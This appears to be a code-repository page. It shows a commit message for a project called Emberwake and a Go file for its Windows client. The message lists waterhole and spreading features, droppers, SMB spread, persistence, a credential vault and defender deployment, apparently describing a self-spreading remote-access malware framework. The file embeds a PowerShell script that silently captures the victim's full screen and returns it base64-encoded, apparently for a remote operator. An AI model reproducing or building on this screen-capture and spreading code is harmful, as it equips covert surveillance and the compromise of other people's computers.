Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
20 lines
786 B
Go
20 lines
786 B
Go
//go:build windows
|
|
|
|
package client
|
|
|
|
const screenshotPSScript = `
|
|
$ErrorActionPreference = 'Stop'
|
|
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
|
|
$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen
|
|
$b = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height
|
|
$g = [Drawing.Graphics]::FromImage($b)
|
|
$g.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size)
|
|
$enc = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' }
|
|
$ep = New-Object System.Drawing.Imaging.EncoderParameters(1)
|
|
$ep.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, 55)
|
|
$ms = New-Object IO.MemoryStream
|
|
$b.Save($ms, $enc, $ep)
|
|
[Convert]::ToBase64String($ms.ToArray())
|
|
`
|
|
|